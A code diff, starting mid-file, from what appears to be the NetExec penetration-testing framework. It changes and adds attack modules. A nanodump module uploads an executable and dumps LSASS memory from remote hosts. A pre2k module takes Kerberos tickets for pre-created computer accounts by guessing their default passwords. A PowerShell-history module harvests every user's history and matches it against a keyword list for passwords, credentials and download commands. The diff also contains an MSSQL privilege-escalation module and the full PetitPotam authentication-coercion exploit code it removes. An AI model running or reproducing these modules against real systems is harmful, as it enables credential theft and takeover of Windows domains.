if path.isfile(self.MSOL_PS1):
|
||||
|
||||
@@ -42,12 +42,12 @@ class NXCModule:
|
||||
- rollback (remove sysadmin privilege)
|
||||
"""
|
||||
self.action = None
|
||||
self.context = context
|
||||
|
||||
if "ACTION" in module_options:
|
||||
self.action = module_options["ACTION"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
# get mssql connection
|
||||
self.mssql_conn = connection.conn
|
||||
# fetch the current user
|
||||
@@ -219,6 +219,7 @@ class NXCModule:
|
||||
"""
|
||||
if self.is_admin_user(user.username):
|
||||
user.is_sysadmin = True
|
||||
self.context.log.debug(f"Updated {user.username} to is_sysadmin")
|
||||
return True
|
||||
user.dbowner = self.check_dbowner_privesc(exec_as)
|
||||
return user.dbowner
|
||||
@@ -249,11 +250,15 @@ class NXCModule:
|
||||
self.revert_context(exec_as)
|
||||
is_admin = res[0][""]
|
||||
self.context.log.debug(f"IsAdmin Result: {is_admin}")
|
||||
if is_admin:
|
||||
self.context.log.debug("User is admin!")
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
try:
|
||||
if int(is_admin):
|
||||
self.context.log.debug("User is admin!")
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except ValueError:
|
||||
self.logger.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
|
||||
return False
|
||||
|
||||
def get_databases(self, exec_as="") -> list:
|
||||
@@ -441,13 +446,16 @@ class NXCModule:
|
||||
:rtype: bool
|
||||
"""
|
||||
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
|
||||
is_admin = res[0][""]
|
||||
try:
|
||||
if int(res):
|
||||
if is_admin != "NULL" and int(is_admin):
|
||||
self.admin_privs = True
|
||||
self.context.log.debug(f"Updated: {username} is admin!")
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except Exception:
|
||||
except ValueError:
|
||||
self.context.log.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
|
||||
return False
|
||||
|
||||
def revert_context(self, exec_as):
|
||||
|
||||
@@ -39,7 +39,6 @@ class NXCModule:
|
||||
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
|
||||
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
|
||||
"""
|
||||
self.context = context
|
||||
self.remote_tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.remote_tmp_dir.split(":")[1]
|
||||
@@ -98,7 +97,7 @@ class NXCModule:
|
||||
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
|
||||
try:
|
||||
self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
|
||||
exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
|
||||
if exec_method.file_exists(self.remote_tmp_dir + self.nano):
|
||||
self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
|
||||
@@ -118,13 +117,13 @@ class NXCModule:
|
||||
self.context.log.display(f"Getting LSASS PID via command {command}")
|
||||
p = self.connection.execute(command, display_output)
|
||||
self.context.log.debug(f"tasklist Command Result: {p}")
|
||||
if len(p) == 1:
|
||||
p = p[0]
|
||||
|
||||
if not p or p == "None":
|
||||
self.context.log.fail("Failed to execute command to get LSASS PID")
|
||||
return
|
||||
|
||||
if len(p) == 1:
|
||||
p = p[0]
|
||||
|
||||
pid = p.split(",")[1][1:-1]
|
||||
self.context.log.debug(f"pid: {pid}")
|
||||
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
|
||||
@@ -174,7 +173,7 @@ class NXCModule:
|
||||
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
else:
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
|
||||
exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
|
||||
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
except Exception as e:
|
||||
|
||||
@@ -7,10 +7,11 @@ class NXCModule:
|
||||
"""
|
||||
Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
|
||||
Module by @Tw1sm
|
||||
Modified by Deft (08/02/2024)
|
||||
"""
|
||||
|
||||
name = "ntlmv1"
|
||||
description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
|
||||
description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -32,19 +33,22 @@ class NXCModule:
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Lsa",
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
rtype = None
|
||||
data = None
|
||||
rtype = data = None
|
||||
try:
|
||||
rtype, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"lmcompatibilitylevel\x00",
|
||||
)
|
||||
|
||||
except rrp.DCERPCSessionError:
|
||||
context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
|
||||
|
||||
if rtype and data and int(data) in [0, 1, 2]:
|
||||
# Changed by Defte
|
||||
# Unless this keys is set to 3 or higher, NTLMv1 can be used
|
||||
if data in [0, 1, 2]:
|
||||
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
|
||||
|
||||
except DCERPCSessionError as e:
|
||||
context.log.debug(f"Error connecting to RemoteRegistry: {e}")
|
||||
finally:
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from datetime import datetime, timedelta
|
||||
from nxc.paths import NXC_PATH
|
||||
import socket
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Extract obsolete operating systems from LDAP
|
||||
Module by Brandon Fisher @shad0wcntr0ller
|
||||
"""
|
||||
name = "obsolete"
|
||||
description = "Extract all obsolete operating systems from LDAP"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def ldap_time_to_datetime(self, ldap_time):
|
||||
"""Convert an LDAP timestamp to a datetime object."""
|
||||
if ldap_time == "0": # Account for never-set passwords
|
||||
return "Never"
|
||||
try:
|
||||
epoch = datetime(1601, 1, 1) + timedelta(seconds=int(ldap_time) / 10000000)
|
||||
return epoch.strftime("%Y-%m-%d %H:%M:%S")
|
||||
except Exception:
|
||||
return "Conversion Error"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No module-specific options required."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_filter = ("(&(objectclass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))"
|
||||
"(|(operatingSystem=*Windows 6*)(operatingSystem=*Windows 2000*)"
|
||||
"(operatingSystem=*Windows XP*)(operatingSystem=*Windows Vista*)"
|
||||
"(operatingSystem=*Windows 7*)(operatingSystem=*Windows 8*)"
|
||||
"(operatingSystem=*Windows 8.1*)(operatingSystem=*Windows Server 2003*)"
|
||||
"(operatingSystem=*Windows Server 2008*)(operatingSystem=*Windows Server 2012*)))")
|
||||
attributes = ["name", "operatingSystem", "dNSHostName", "pwdLastSet"]
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
except Exception:
|
||||
context.log.error("LDAP search error:", exc_info=True)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
|
||||
for item in resp:
|
||||
if "attributes" not in item:
|
||||
continue
|
||||
dns_hostname, pwd_last_set = "", "0" # Default '0' for pwdLastSet
|
||||
for attribute in item["attributes"]:
|
||||
attr_type = str(attribute["type"])
|
||||
if attr_type == "operatingSystem":
|
||||
os = str(attribute["vals"][0])
|
||||
elif attr_type == "dNSHostName":
|
||||
dns_hostname = str(attribute["vals"][0])
|
||||
elif attr_type == "pwdLastSet":
|
||||
pwd_last_set = str(attribute["vals"][0])
|
||||
|
||||
if dns_hostname and os:
|
||||
pwd_last_set_readable = self.ldap_time_to_datetime(pwd_last_set)
|
||||
try:
|
||||
ip_address = socket.gethostbyname(dns_hostname)
|
||||
answers.append((dns_hostname, ip_address, os, pwd_last_set_readable))
|
||||
except socket.gaierror:
|
||||
answers.append((dns_hostname, "N/A", os, pwd_last_set_readable))
|
||||
|
||||
if answers:
|
||||
obsolete_hosts_count = len(answers)
|
||||
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
|
||||
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
|
||||
with open(filename, "w") as f:
|
||||
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
|
||||
log_message = f"{dns_hostname} ({ip_address}) : {os} [pwd-last-set: {pwd_last_set_readable}]"
|
||||
context.log.highlight(log_message)
|
||||
f.write(log_message + "\n")
|
||||
else:
|
||||
context.log.display("No Obsolete Hosts Identified")
|
||||
|
||||
return True
|
||||
+2
-271
@@ -1,25 +1,6 @@
|
||||
# From https://github.com/topotam/PetitPotam
|
||||
# All credit to @topotam
|
||||
# Module by @mpgn_x64
|
||||
|
||||
import sys
|
||||
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
|
||||
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, PCHAR, RPC_SID, LPWSTR
|
||||
from impacket.dcerpc.v5.rpcrt import (
|
||||
DCERPCException,
|
||||
RPC_C_AUTHN_WINNT,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_AUTHN_GSS_NEGOTIATE,
|
||||
)
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "petitpotam"
|
||||
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
|
||||
description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -37,254 +18,4 @@ class NXCModule:
|
||||
self.pipe = module_options["PIPE"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
dce = coerce(
|
||||
connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
pipe=self.pipe,
|
||||
do_kerberos=connection.kerberos,
|
||||
dc_host=connection.kdcHost,
|
||||
target_ip=connection.host,
|
||||
context=context,
|
||||
)
|
||||
if efs_rpc_open_file_raw(dce, self.listener, context):
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
|
||||
try:
|
||||
host = context.db.get_hosts(connection.host)[0]
|
||||
context.db.add_host(
|
||||
host.ip,
|
||||
host.hostname,
|
||||
host.domain,
|
||||
host.os,
|
||||
host.smbv1,
|
||||
host.signing,
|
||||
petitpotam=True,
|
||||
)
|
||||
except Exception:
|
||||
context.log.debug("Error updating petitpotam status in database")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return f"EFSR SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return f"EFSR SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (("Data", "20s"),)
|
||||
|
||||
|
||||
class EFS_EXIM_PIPE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (("Data", ":"),)
|
||||
|
||||
|
||||
class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
("Data", DWORD),
|
||||
("cbData", PCHAR),
|
||||
)
|
||||
|
||||
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
("Data", DWORD),
|
||||
("cbData", PCHAR),
|
||||
)
|
||||
|
||||
|
||||
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
("Type", DWORD),
|
||||
("Data", DWORD),
|
||||
("cbData", PCHAR),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
("Lenght", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_HASH_BLOB),
|
||||
("Display", LPWSTR),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
|
||||
structure = (
|
||||
("Lenght", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_CERTIFICATE_BLOB),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
("Cert", DWORD),
|
||||
("Users", ENCRYPTION_CERTIFICATE_HASH),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
|
||||
structure = (
|
||||
("Type", DWORD),
|
||||
("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST),
|
||||
("Certif", ENCRYPTION_CERTIFICATE),
|
||||
("Blob", EFS_RPC_BLOB),
|
||||
)
|
||||
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (("Data", ":"),)
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class EfsRpcOpenFileRaw(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
("fileName", WSTR),
|
||||
("Flag", ULONG),
|
||||
)
|
||||
|
||||
|
||||
class EfsRpcOpenFileRawResponse(NDRCALL):
|
||||
structure = (
|
||||
("hContext", EXIMPORT_CONTEXT_HANDLE),
|
||||
("ErrorCode", ULONG),
|
||||
)
|
||||
|
||||
|
||||
class EfsRpcEncryptFileSrv(NDRCALL):
|
||||
opnum = 4
|
||||
structure = (("FileName", WSTR),)
|
||||
|
||||
|
||||
class EfsRpcEncryptFileSrvResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
def coerce(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
lmhash,
|
||||
nthash,
|
||||
aesKey,
|
||||
target,
|
||||
pipe,
|
||||
do_kerberos,
|
||||
dc_host,
|
||||
target_ip=None,
|
||||
context=None,
|
||||
):
|
||||
binding_params = {
|
||||
"lsarpc": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"efsr": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
|
||||
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
|
||||
},
|
||||
"samr": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"lsass": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"netlogon": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
}
|
||||
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
if target_ip:
|
||||
rpc_transport.setRemoteHost(target_ip)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
if do_kerberos:
|
||||
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
sys.exit()
|
||||
context.log.info("[+] Connected!")
|
||||
context.log.info(f"[+] Binding to {binding_params[pipe]['MSRPC_UUID_EFSR'][0]}")
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
|
||||
except Exception as e:
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
sys.exit()
|
||||
context.log.info("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
|
||||
def efs_rpc_open_file_raw(dce, listener, context=None):
|
||||
try:
|
||||
request = EfsRpcOpenFileRaw()
|
||||
request["fileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
||||
request["Flag"] = 0
|
||||
dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
||||
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
|
||||
context.log.info("[+] Attack worked!")
|
||||
return True
|
||||
if str(e).find("rpc_s_access_denied") >= 0:
|
||||
context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!")
|
||||
context.log.info("[+] OK! Using unpatched function!")
|
||||
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
|
||||
try:
|
||||
request = EfsRpcEncryptFileSrv()
|
||||
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
||||
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
|
||||
context.log.info("[+] Attack worked!")
|
||||
return True
|
||||
else:
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
else:
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
+5
-5
@@ -1,8 +1,8 @@
|
||||
from base64 import b64decode
|
||||
from sys import exit
|
||||
from os import path
|
||||
from os.path import abspath, join, isfile
|
||||
|
||||
from nxc.paths import DATA_PATH
|
||||
from nxc.paths import DATA_PATH, TMP_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -25,7 +25,7 @@ class NXCModule:
|
||||
self.pi = "pi.exe"
|
||||
self.useembeded = True
|
||||
self.pid = self.cmd = ""
|
||||
with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
|
||||
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
|
||||
self.pi_embedded = b64decode(pi_file.read())
|
||||
|
||||
if "EXEC" in module_options:
|
||||
@@ -36,11 +36,11 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.useembeded:
|
||||
file_to_upload = "/tmp/pi.exe"
|
||||
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
|
||||
with open(file_to_upload, "wb") as pm:
|
||||
pm.write(self.pi_embedded)
|
||||
else:
|
||||
if path.isfile(self.imp_exe):
|
||||
if isfile(self.imp_exe):
|
||||
file_to_upload = self.imp_exe
|
||||
else:
|
||||
context.log.error(f"Cannot open {self.imp_exe}")
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
import traceback
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @357384n"""
|
||||
|
||||
name = "powershell_history"
|
||||
description = "Extracts PowerShell history for all users and looks for sensitive commands."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""To export all the history you can add the following option: -o export=True"""
|
||||
context.log.info(f"Received module options: {module_options}")
|
||||
self.export = bool(module_options.get("EXPORT", False))
|
||||
context.log.info(f"Option export set to: {self.export}")
|
||||
|
||||
def analyze_history(self, history):
|
||||
"""Analyze PowerShell history for sensitive information."""
|
||||
sensitive_keywords = [
|
||||
"password", "passwd", "passw", "secret", "credential", "key",
|
||||
"get-credential", "convertto-securestring", "set-localuser",
|
||||
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
|
||||
"invoke-webrequest", "invoke-restmethod"
|
||||
]
|
||||
sensitive_commands = []
|
||||
for command in history:
|
||||
command_lower = command.lower()
|
||||
if any(keyword.lower() in command_lower for keyword in sensitive_keywords):
|
||||
sensitive_commands.append(command.strip())
|
||||
return sensitive_commands
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
"""Main function to retrieve and analyze PowerShell history."""
|
||||
try:
|
||||
context.log.info("Retrieving PowerShell history...")
|
||||
command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"'
|
||||
history = connection.execute(command, True).split("\n")
|
||||
if history:
|
||||
sensitive_commands = self.analyze_history(history)
|
||||
if sensitive_commands:
|
||||
context.log.highlight("Sensitive commands found in PowerShell history:")
|
||||
for command in sensitive_commands:
|
||||
context.log.highlight(f" {command}")
|
||||
else:
|
||||
context.log.info("No sensitive commands found in PowerShell history.")
|
||||
else:
|
||||
context.log.info("No PowerShell history found.")
|
||||
|
||||
# Check if export is enabled
|
||||
context.log.info(f"Export option is set to: {self.export}")
|
||||
if self.export and history:
|
||||
host = connection.host # Assuming 'host' contains the target IP or hostname
|
||||
filename = f"{host}_powershell_history.txt"
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
|
||||
context.log.info(f"Export enabled, writing history to {path}")
|
||||
try:
|
||||
with open(path, "w") as file:
|
||||
for cmd in history:
|
||||
file.write(cmd + "\n")
|
||||
context.log.highlight(f"PowerShell history written to: {path}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to write history to {filename}: {e}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
@@ -0,0 +1,126 @@
|
||||
import os
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5 import constants
|
||||
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
|
||||
Module by: @shad0wcntr0ller
|
||||
"""
|
||||
name = "pre2k"
|
||||
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
ldap_connection = connection.ldapConnection
|
||||
|
||||
# Define the search filter for pre-created computer accounts
|
||||
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
|
||||
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
|
||||
|
||||
context.log.info(f"Using search filter: {search_filter}")
|
||||
context.log.info(f"Attributes to retrieve: {attributes}")
|
||||
|
||||
computers = []
|
||||
|
||||
try:
|
||||
# Use paged search to retrieve all computer accounts with specific flags
|
||||
search_results = connection.search(search_filter, attributes)
|
||||
results = parse_result_attributes(search_results)
|
||||
context.log.debug(f"Search results: {results}")
|
||||
|
||||
for computer in results:
|
||||
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
|
||||
# Check if the account is a pre-created computer account
|
||||
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
|
||||
computers.append(computer["sAMAccountName"])
|
||||
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
|
||||
|
||||
# Save computers to file
|
||||
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
|
||||
output_file = os.path.join(domain_dir, "precreated_computers.txt")
|
||||
|
||||
# Create directories if they do not exist
|
||||
os.makedirs(domain_dir, exist_ok=True)
|
||||
|
||||
with open(output_file, "w") as file:
|
||||
for computer in computers:
|
||||
file.write(f"{computer}\n")
|
||||
|
||||
# Print discovered pre-created computer accounts
|
||||
if computers:
|
||||
for computer in computers:
|
||||
context.log.highlight(f"Pre-created computer account: {computer}")
|
||||
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
|
||||
else:
|
||||
context.log.info("No pre-created computer accounts found.")
|
||||
|
||||
# Obtain TGTs and save to ccache
|
||||
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
|
||||
os.makedirs(ccache_base_dir, exist_ok=True)
|
||||
|
||||
successful_tgts = 0
|
||||
|
||||
for computer in computers:
|
||||
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
|
||||
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
|
||||
successful_tgts += 1
|
||||
|
||||
# Summary of TGT results
|
||||
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error occurred during search: {e}")
|
||||
|
||||
ldap_connection.close()
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error occurred during LDAP connection: {e}")
|
||||
return False
|
||||
|
||||
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
|
||||
try:
|
||||
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
password = username # Password is the machine name in lowercase
|
||||
context.log.info(f"Getting TGT for {username}@{domain}")
|
||||
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
|
||||
clientName=userName,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash="",
|
||||
nthash="",
|
||||
aesKey="",
|
||||
kdcHost=kdcHost,
|
||||
serverName=None
|
||||
)
|
||||
|
||||
self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
|
||||
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
|
||||
return True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
|
||||
return False
|
||||
|
||||
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
|
||||
try:
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(ticket, sessionKey, sessionKey)
|
||||
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
|
||||
ccache.saveFile(ccache_filename)
|
||||
context.log.info(f"Saved ticket in {ccache_filename}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to save ticket for {username}: {e}")
|
||||
@@ -0,0 +1,20 @@
|
||||
class NXCModule:
|
||||
name = "printerbug"
|
||||
description = "[REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.listener = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""LISTENER Listener Address (defaults to 127.0.0.1)"""
|
||||
self.listener = "127.0.0.1"
|
||||
if "LISTENER" in module_options:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -1,6 +1,6 @@
|
||||
import sys
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.structure import Structure
|
||||
from impacket.dcerpc.v5 import transport, rprn
|
||||
